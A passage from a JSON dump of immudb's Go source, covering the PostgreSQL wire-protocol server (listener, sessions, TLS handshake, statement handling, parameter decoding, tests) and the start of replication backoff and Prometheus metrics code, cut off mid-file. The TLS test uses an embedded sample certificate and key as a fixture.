    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"golang.org/x/net/netutil\"\n)\n\ntype pgsrv struct {\n\tm                  sync.RWMutex\n\trunning            bool\n\tmaxConnections     int\n\ttlsConfig          *tls.Config\n\tlogger             logger.Logger\n\tlogRequestMetadata bool\n\thost               string\n\tport               int\n\timmudbPort         int\n\tdbList             database.DatabaseList\n\tlistener           net.Listener\n}\n\ntype PGSQLServer interface {\n\tInitialize() error\n\tServe() error\n\tStop() error\n\tGetPort() int\n}\n\nfunc New(setters ...Option) *pgsrv {\n\t// Default Options\n\tsrv := &pgsrv{\n\t\trunning:        true,\n\t\tmaxConnections: 1000,\n\t\ttlsConfig:      &tls.Config{},\n\t\tlogger:         logger.NewSimpleLogger(\"pgsqlSrv\", os.Stderr),\n\t\thost:           \"0.0.0.0\",\n\t\timmudbPort:     3322,\n\t\tport:           5432,\n\t}\n\n\tfor _, setter := range setters {\n\t\tsetter(srv)\n\t}\n\n\treturn srv\n}\n\n// Initialize initialize listener. If provided port is zero os auto assign a free one.\nfunc (s *pgsrv) Initialize() (err error) {\n\ts.listener, err = net.Listen(\"tcp\", fmt.Sprintf(\"%s:%d\", s.host, s.port))\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (s *pgsrv) Serve() (err error) {\n\ts.m.Lock()\n\tif s.listener == nil {\n\t\treturn errors.New(\"no listener found for pgsql server\")\n\t}\n\ts.listener = netutil.LimitListener(s.listener, s.maxConnections)\n\ts.m.Unlock()\n\n\tfor {\n\t\ts.m.Lock()\n\t\tif !s.running {\n\t\t\ts.m.Unlock()\n\t\t\treturn nil\n\t\t}\n\t\ts.m.Unlock()\n\n\t\tconn, err := s.listener.Accept()\n\t\tif err != nil {\n\t\t\ts.logger.Errorf(\"%v\", err)\n\t\t} else {\n\t\t\tgo s.handleRequest(context.Background(), conn)\n\t\t}\n\t}\n}\n\nfunc (s *pgsrv) newSession(conn net.Conn) Session {\n\treturn newSession(conn, s.host, s.immudbPort, s.logger, s.tlsConfig, s.logRequestMetadata, s.dbList)\n}\n\nfunc (s *pgsrv) Stop() (err error) {\n\ts.m.Lock()\n\tdefer s.m.Unlock()\n\n\ts.running = false\n\n\tif s.listener != nil {\n\t\treturn s.listener.Close()\n\t}\n\n\treturn nil\n}\n\nfunc (s *pgsrv) GetPort() int {\n\ts.m.Lock()\n\tdefer s.m.Unlock()\n\n\tif s.listener != nil {\n\t\treturn s.listener.Addr().(*net.TCPAddr).Port\n\t}\n\n\treturn 0\n}\n"
  },
  {
    "path": "pkg/pgsql/server/server_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSrv_Initialize(t *testing.T) {\n\ts := pgsrv{\n\t\tport: 99999999999999999,\n\t}\n\terr := s.Initialize()\n\trequire.ErrorContains(t, err, \"invalid port\")\n}\n\nfunc TestSrv_GetPort(t *testing.T) {\n\ts := pgsrv{}\n\terr := s.GetPort()\n\trequire.Equal(t, 0, err)\n}\n\nfunc TestSrv_Stop(t *testing.T) {\n\ts := pgsrv{}\n\tres := s.Stop()\n\trequire.Nil(t, res)\n}\n\nfunc TestSrv_Serve(t *testing.T) {\n\ts := pgsrv{}\n\terr := s.Serve()\n\trequire.ErrorContains(t, err, \"no listener found for pgsql server\")\n}\n"
  },
  {
    "path": "pkg/pgsql/server/session.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"strings\"\n\n\t\"net\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\tfm \"github.com/codenotary/immudb/pkg/pgsql/server/fmessages\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n)\n\ntype session struct {\n\timmudbHost         string\n\timmudbPort         int\n\ttlsConfig          *tls.Config\n\tlog                logger.Logger\n\tlogRequestMetadata bool\n\n\tdbList database.DatabaseList\n\n\tclient client.ImmuClient\n\n\tctx    context.Context\n\tuser   string\n\tipAddr string\n\tdb     database.DB\n\ttx     *sql.SQLTx\n\n\tmr MessageReader\n\n\tconnParams      map[string]string\n\tprotocolVersion string\n\n\tstatements map[string]*statement\n\tportals    map[string]*portal\n}\n\ntype Session interface {\n\tInitializeSession() error\n\tHandleStartup(context.Context) error\n\tQueryMachine() error\n\tHandleError(error)\n\tClose() error\n}\n\nfunc newSession(\n\tc net.Conn,\n\timmudbHost string,\n\timmudbPort int,\n\tlog logger.Logger,\n\ttlsConfig *tls.Config,\n\tlogRequestMetadata bool,\n\tdbList database.DatabaseList,\n) *session {\n\taddr := c.RemoteAddr().String()\n\ti := strings.Index(addr, \":\")\n\tif i >= 0 {\n\t\taddr = addr[:i]\n\t}\n\n\treturn &session{\n\t\timmudbHost:         immudbHost,\n\t\timmudbPort:         immudbPort,\n\t\ttlsConfig:          tlsConfig,\n\t\tlog:                log,\n\t\tlogRequestMetadata: logRequestMetadata,\n\t\tdbList:             dbList,\n\t\tipAddr:             addr,\n\t\tmr:                 NewMessageReader(c),\n\t\tstatements:         make(map[string]*statement),\n\t\tportals:            make(map[string]*portal),\n\t}\n}\n\nfunc (s *session) HandleError(e error) {\n\tpgerr := errors.MapPgError(e)\n\n\t_, err := s.writeMessage(pgerr.Encode())\n\tif err != nil {\n\t\ts.log.Errorf(\"unable to write error on wire: %v\", err)\n\t}\n}\n\nfunc (s *session) nextMessage() (interface{}, bool, error) {\n\tmsg, err := s.mr.ReadRawMessage()\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\n\ts.log.Debugf(\"received %s - %s message\", string(msg.t), pgmeta.MTypes[msg.t])\n\n\textQueryMode := false\n\n\ti, err := s.parseRawMessage(msg)\n\tif msg.t == 'P' ||\n\t\tmsg.t == 'B' ||\n\t\tmsg.t == 'D' ||\n\t\tmsg.t == 'E' ||\n\t\tmsg.t == 'H' {\n\t\textQueryMode = true\n\t}\n\n\treturn i, extQueryMode, err\n}\n\nfunc (s *session) parseRawMessage(msg *rawMessage) (interface{}, error) {\n\tswitch msg.t {\n\tcase 'p':\n\t\treturn fm.ParsePasswordMsg(msg.payload)\n\tcase 'Q':\n\t\treturn fm.ParseQueryMsg(msg.payload)\n\tcase 'X':\n\t\treturn fm.ParseTerminateMsg(msg.payload)\n\tcase 'P':\n\t\treturn fm.ParseParseMsg(msg.payload)\n\tcase 'B':\n\t\treturn fm.ParseBindMsg(msg.payload)\n\tcase 'D':\n\t\treturn fm.ParseDescribeMsg(msg.payload)\n\tcase 'S':\n\t\treturn fm.ParseSyncMsg(msg.payload)\n\tcase 'E':\n\t\treturn fm.ParseExecuteMsg(msg.payload)\n\tcase 'H':\n\t\treturn fm.ParseFlushMsg(msg.payload)\n\tdefault:\n\t\treturn nil, errors.ErrUnknowMessageType\n\t}\n}\n\nfunc (s *session) writeMessage(msg []byte) (int, error) {\n\tif len(msg) > 0 {\n\t\ts.log.Debugf(\"write %s - %s message\", string(msg[0]), pgmeta.MTypes[msg[0]])\n\t}\n\n\treturn s.mr.Write(msg)\n}\n\nfunc (s *session) sqlTx() (*sql.SQLTx, error) {\n\tif s.tx != nil || !s.logRequestMetadata {\n\t\treturn s.tx, nil\n\t}\n\n\tmd := schema.Metadata{\n\t\tschema.UserRequestMetadataKey: s.user,\n\t\tschema.IpRequestMetadataKey:   s.ipAddr,\n\t}\n\n\t// create transaction explicitly to inject request metadata\n\tctx := schema.ContextWithMetadata(s.ctx, md)\n\treturn s.db.NewSQLTx(ctx, sql.DefaultTxOptions())\n}\n"
  },
  {
    "path": "pkg/pgsql/server/session_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/database\"\n)\n\ntype sessionMock struct {\n\tInitializeSessionF func() error\n\tQueryMachineF      func(ctx context.Context) error\n\tHandleStartupF     func() error\n}\n\nfunc NewSessionMock() *sessionMock {\n\ts := &sessionMock{\n\t\tInitializeSessionF: func() error {\n\t\t\treturn nil\n\t\t},\n\t\tQueryMachineF: func(ctx context.Context) error {\n\t\t\treturn nil\n\t\t},\n\t\tHandleStartupF: func() error {\n\t\t\treturn nil\n\t\t},\n\t}\n\treturn s\n}\n\nfunc (s *sessionMock) InitializeSession() error {\n\treturn s.InitializeSessionF()\n}\n\nfunc (s *sessionMock) QueriesMachine(ctx context.Context) error {\n\treturn s.QueryMachineF(ctx)\n}\n\nfunc (s *sessionMock) HandleStartup(dbList database.DatabaseList) error {\n\treturn s.HandleStartupF()\n}\n\nfunc (s *sessionMock) ErrorHandle(e error) {}\n"
  },
  {
    "path": "pkg/pgsql/server/ssl_handshake.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"crypto/tls\"\n\n\tpserr \"github.com/codenotary/immudb/pkg/pgsql/errors\"\n)\n\nfunc (s *session) handshake() error {\n\tif s.tlsConfig == nil || len(s.tlsConfig.Certificates) == 0 {\n\t\treturn pserr.ErrSSLNotSupported\n\t}\n\ttlsConn := tls.Server(s.mr.Connection(), s.tlsConfig)\n\terr := tlsConn.Handshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.mr.UpgradeConnection(tlsConn)\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/ssl_handshake_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"crypto/tls\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\tpserr \"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSession_handshakeNotSupported(t *testing.T) {\n\ts := session{\n\t\ttlsConfig: &tls.Config{},\n\t}\n\terr := s.handshake()\n\n\trequire.ErrorIs(t, err, pserr.ErrSSLNotSupported)\n}\n\nfunc TestSession_handshakeErr(t *testing.T) {\n\tcertPem := []byte(`-----BEGIN CERTIFICATE-----\nMIIBhTCCASugAwIBAgIQIRi6zePL6mKjOipn+dNuaTAKBggqhkjOPQQDAjASMRAw\nDgYDVQQKEwdBY21lIENvMB4XDTE3MTAyMDE5NDMwNloXDTE4MTAyMDE5NDMwNlow\nEjEQMA4GA1UEChMHQWNtZSBDbzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABD0d\n7VNhbWvZLWPuj/RtHFjvtJBEwOkhbN/BnnE8rnZR8+sbwnc/KhCk3FhnpHZnQz7B\n5aETbbIgmuvewdjvSBSjYzBhMA4GA1UdDwEB/wQEAwICpDATBgNVHSUEDDAKBggr\nBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MCkGA1UdEQQiMCCCDmxvY2FsaG9zdDo1\nNDUzgg4xMjcuMC4wLjE6NTQ1MzAKBggqhkjOPQQDAgNIADBFAiEA2zpJEPQyz6/l\nWf86aX6PepsntZv2GYlA5UpabfT2EZICICpJ5h/iI+i341gBmLiAFQOyTDT+/wQc\n6MF9+Yw1Yy0t\n-----END CERTIFICATE-----`)\n\tkeyPem := []byte(`-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIIrYSSNQFaA2Hwf1duRSxKtLYX5CB04fSeQ6tF1aY/PuoAoGCCqGSM49\nAwEHoUQDQgAEPR3tU2Fta9ktY+6P9G0cWO+0kETA6SFs38GecTyudlHz6xvCdz8q\nEKTcWGekdmdDPsHloRNtsiCa697B2O9IFA==\n-----END EC PRIVATE KEY-----`)\n\n\tcert, err := tls.X509KeyPair(certPem, keyPem)\n\trequire.NoError(t, err)\n\tcfg := &tls.Config{Certificates: []tls.Certificate{cert}}\n\n\tc1, _ := net.Pipe()\n\tc1.Close()\n\tmr := &messageReader{\n\t\tconn: c1,\n\t}\n\n\ts := session{\n\t\ttlsConfig: cfg,\n\t\tmr:        mr,\n\t\tlog:       logger.NewSimpleLogger(\"test\", os.Stdout),\n\t}\n\n\terr = s.handshake()\n\n\trequire.ErrorIs(t, err, io.ErrClosedPipe)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/stmts_handler.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"regexp\"\n\n\tpserr \"github.com/codenotary/immudb/pkg/pgsql/errors\"\n)\n\nvar (\n\tset           = regexp.MustCompile(`(?i)set\\s+.+`)\n\tselectVersion = regexp.MustCompile(`(?i)select\\s+version\\(\\s*\\)`)\n\tdealloc       = regexp.MustCompile(`(?i)deallocate\\s+\\\"([^\\\"]+)\\\"`)\n)\n\nfunc (s *session) isInBlackList(statement string) bool {\n\tif set.MatchString(statement) {\n\t\treturn true\n\t}\n\n\tif statement == \";\" {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc (s *session) isEmulableInternally(statement string) interface{} {\n\tif selectVersion.MatchString(statement) {\n\t\treturn &version{}\n\t}\n\n\tif dealloc.MatchString(statement) {\n\t\tmatches := dealloc.FindStringSubmatch(statement)\n\t\tif len(matches) == 2 {\n\t\t\treturn &deallocate{plan: matches[1]}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (s *session) tryToHandleInternally(command interface{}) error {\n\tswitch cmd := command.(type) {\n\tcase *version:\n\t\tif err := s.writeVersionInfo(); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase *deallocate:\n\t\tdelete(s.statements, cmd.plan)\n\t\treturn nil\n\tdefault:\n\t\treturn pserr.ErrMessageCannotBeHandledInternally\n\t}\n\treturn nil\n}\n\ntype version struct{}\n\ntype deallocate struct {\n\tplan string\n}\n"
  },
  {
    "path": "pkg/pgsql/server/types.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"strconv\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nfunc buildNamedParams(paramsType []sql.ColDescriptor, paramsVal []interface{}) ([]*schema.NamedParam, error) {\n\tpMap := make(map[string]interface{})\n\tfor index, param := range paramsType {\n\t\tname := param.Column\n\n\t\tval := paramsVal[index]\n\t\t// text param\n\t\tif p, ok := val.(string); ok {\n\t\t\tswitch param.Type {\n\n\t\t\tcase sql.IntegerType:\n\t\t\t\tint, err := strconv.Atoi(p)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tpMap[name] = int64(int)\n\t\t\tcase sql.VarcharType:\n\t\t\t\tpMap[name] = p\n\t\t\tcase sql.BooleanType:\n\t\t\t\tpMap[name] = p == \"true\"\n\t\t\tcase sql.BLOBType:\n\t\t\t\td, err := hex.DecodeString(p)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tpMap[name] = d\n\t\t\t}\n\t\t}\n\t\t// binary param\n\t\tif p, ok := val.([]byte); ok {\n\t\t\tswitch param.Type {\n\t\t\tcase sql.IntegerType:\n\t\t\t\ti, err := getInt64(p)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tpMap[name] = i\n\t\t\tcase sql.VarcharType:\n\t\t\t\tpMap[name] = string(p)\n\t\t\tcase sql.BooleanType:\n\t\t\t\tv := false\n\t\t\t\tif p[0] == byte(1) {\n\t\t\t\t\tv = true\n\t\t\t\t}\n\t\t\t\tpMap[name] = v\n\t\t\tcase sql.BLOBType:\n\t\t\t\tpMap[name] = p\n\t\t\t}\n\t\t}\n\t}\n\treturn schema.EncodeParams(pMap)\n}\n\nfunc getInt64(p []byte) (int64, error) {\n\tswitch len(p) {\n\tcase 8:\n\t\treturn int64(binary.BigEndian.Uint64(p)), nil\n\tcase 4:\n\t\treturn int64(binary.BigEndian.Uint32(p)), nil\n\tcase 2:\n\t\treturn int64(binary.BigEndian.Uint16(p)), nil\n\tdefault:\n\t\treturn 0, fmt.Errorf(\"cannot convert a slice of %d byte in an INTEGER parameter\", len(p))\n\t}\n}\n"
  },
  {
    "path": "pkg/pgsql/server/types_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_getInt64(t *testing.T) {\n\tb64i := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(b64i, 1)\n\ti, err := getInt64(b64i)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), i)\n\tb32i := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(b32i, 1)\n\ti, err = getInt64(b32i)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), i)\n\tb16i := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(b16i, 1)\n\ti, err = getInt64(b16i)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), i)\n\n\tbxxx := make([]byte, 64)\n\t_, err = getInt64(bxxx)\n\trequire.ErrorContains(t, err, fmt.Sprintf(\"cannot convert a slice of %d byte in an INTEGER parameter\", len(bxxx)))\n}\n\nfunc Test_buildNamedParams(t *testing.T) {\n\t// integer error\n\tcols := []sql.ColDescriptor{\n\t\t{\n\t\t\tColumn: \"p1\",\n\t\t\tType:   \"INTEGER\",\n\t\t},\n\t}\n\tpt := []interface{}{[]byte(`1`)}\n\t_, err := buildNamedParams(cols, pt)\n\trequire.ErrorContains(t, err, fmt.Sprintf(\"cannot convert a slice of %d byte in an INTEGER parameter\", len(cols)))\n\n\t// varchar error\n\tcols = []sql.ColDescriptor{\n\t\t{\n\t\t\tColumn: \"p1\",\n\t\t\tType:   \"VARCHAR\",\n\t\t},\n\t}\n\tpt = []interface{}{[]byte(`1`)}\n\t_, err = buildNamedParams(cols, pt)\n\trequire.NoError(t, err)\n\n\t// blob\n\tcols = []sql.ColDescriptor{\n\t\t{\n\t\t\tColumn: \"p1\",\n\t\t\tType:   \"BLOB\",\n\t\t},\n\t}\n\tpt = []interface{}{[]byte(`1`)}\n\t_, err = buildNamedParams(cols, pt)\n\trequire.NoError(t, err)\n\n\t// blob text error\n\tcols = []sql.ColDescriptor{\n\t\t{\n\t\t\tColumn: \"p1\",\n\t\t\tType:   \"BLOB\",\n\t\t},\n\t}\n\tpt = []interface{}{\"blob\"}\n\t_, err = buildNamedParams(cols, pt)\n\trequire.ErrorIs(t, err, hex.InvalidByteError(108))\n}\n"
  },
  {
    "path": "pkg/pgsql/server/version.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\tbm \"github.com/codenotary/immudb/pkg/pgsql/server/bmessages\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n)\n\nfunc (s *session) writeVersionInfo() error {\n\tcols := []sql.ColDescriptor{{Column: \"version\", Type: sql.VarcharType}}\n\tif _, err := s.writeMessage(bm.RowDescription(cols, nil)); err != nil {\n\t\treturn err\n\t}\n\n\tvalue := sql.NewVarchar(pgmeta.PgsqlServerVersionMessage)\n\trows := []*sql.Row{{\n\t\tValuesByPosition: []sql.TypedValue{value},\n\t\tValuesBySelector: map[string]sql.TypedValue{\"version\": value},\n\t}}\n\tif _, err := s.writeMessage(bm.DataRow(rows, len(cols), nil)); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/replication/delayer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"math\"\n\t\"math/rand\"\n\t\"time\"\n)\n\ntype Delayer interface {\n\tDelayAfter(retries int) time.Duration\n}\n\ntype expBackoff struct {\n\tretryMinDelay time.Duration\n\tretryMaxDelay time.Duration\n\tretryDelayExp float64\n\tretryJitter   float64\n}\n\nfunc (exp *expBackoff) DelayAfter(retries int) time.Duration {\n\treturn time.Duration(\n\t\tmath.Min(\n\t\t\tfloat64(exp.retryMinDelay)*math.Pow(exp.retryDelayExp, float64(retries)),\n\t\t\tfloat64(exp.retryMaxDelay),\n\t\t) * (1.0 - rand.Float64()*exp.retryJitter),\n\t)\n}\n"
  },
  {
    "path": "pkg/replication/metrics.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n)\n\n// TODO: Metrics should be put behind abstract metrics interfaces to avoid direct dependency on prometheus SDK\n\nvar (\n\t_metricsTxWaitQueueHistogram = promauto.NewHistogramVec(prometheus.HistogramOpts{\n\t\tName:    \"immudb_replication_tx_wait_queue\",\n\t\tBuckets: prometheus.ExponentialBucketsRange(0.001, 10.0, 16),\n\t\tHelp:    \"histogram of time spent in the waiting queue before replicator picks up the transaction\",\n\t}, []string{\"db\"})\n\n\t_metricsReplicationTimeHistogram = promauto.NewHistogramVec(prometheus.HistogramOpts{\n\t\tName:    \"immudb_replication_commit_time\",\n\t\tBuckets: prometheus.ExponentialBucketsRange(0.001, 10.0, 16),\n\t\tHelp:    \"histogram of time spent by replicators to replicate a single transaction\",\n\t}, []string{\"db\"})\n\n\t_metricsReplicators = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_replication_replicators\",\n\t\tHelp: \"number of replicators available\",\n\t}, []string{\"db\"})\n\n\t_metricsReplicatorsActive = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_replication_replicators_active\",\n\t\tHelp: \"number of replicators actively processing transactions\",\n\t}, []string{\"db\"})\n\n\t_metricsReplicatorsInRetryDelay = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_replication_replicators_retry_delay\",\n\t\tHelp: \"number of replicators that are currently delaying the replication due to a replication error\",\n\t}, []string{\"db\"})\n\n\t_metricsReplicationRetries = promauto.NewCounterVec(prometheus.CounterOpts{\n\t\tName: \"immudb_replication_replicators_retries\",\n\t\tHelp: \"number of retries while replicating transactions caused by errors\",\n\t}, []string{\"db\"})\n\n\t_metricsReplicationPrimaryCommittedTxID = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_replication_primary_committed_tx_id\",\n\t\tHelp: \"the latest know transaction ID committed on the primary node\",\n\t}, []string{\"db\"})\n\n\t_metricsAllowCommitUpToTxID = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_replication_allow_commit_up_to_tx_id\",\n\t\tHelp: \"most recently received confirmation up to which commit id the replica is allowed to durably commit\",\n\t}, []string{\"db\"})\n\n\t_metricsReplicationLag = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_replication_lag\",\n\t\tHelp: \"The difference between the last transaction committed by the primary and replicated by the replica\",\n\t}, []string{\"db\"})\n)\n\ntype metrics struct {\n\ttxWaitQueueHistogram     prometheus.Observer\n\treplicationTimeHistogram prometheus.Observer\n\treplicationRetries       prometheus.Counter\n\treplicators              prometheus.Gauge\n\treplicatorsActive        prometheus.Gauge\n\treplicatorsInRetryDelay  prometheus.Gauge\n\tprimaryCommittedTxID     prometheus.Gauge\n\tallowCommitUpToTxID      prometheus.Gauge\n\treplicationLag           prometheus.Gauge\n}\n\n// metricsForDb returns metrics object for particular database name\nfunc metricsForDb(dbName string) metrics {\n\treturn metrics{\n\t\ttxWaitQueueHistogram:     _metricsTxWaitQueueHistogram.WithLabelValues(dbName),\n\t\treplicationTimeHistogram: _metricsReplicationTimeHistogram.WithLabelValues(dbName),\n\t\treplicationRetries:       _metricsReplicationRetries.WithLabelValues(dbName),\n\t\treplicators:              _metricsReplicators.WithLabelValues(dbName),\n\t\treplicatorsActive:        _metricsReplicatorsActive.WithLabelValues(dbName),\n\t\treplicatorsInRetryDelay:  _metricsReplicatorsInRetryDelay.WithLabelValues(dbName),\n\t\tprimaryCommittedTxID:     _metricsReplicationPrimaryCommittedTxID.WithLabelValues(dbName),\n\t\tallowCommitUpToTxID:      _metricsAllowCommitUpToTxID.WithLabelValues(dbName),\n\t\treplicationLag:           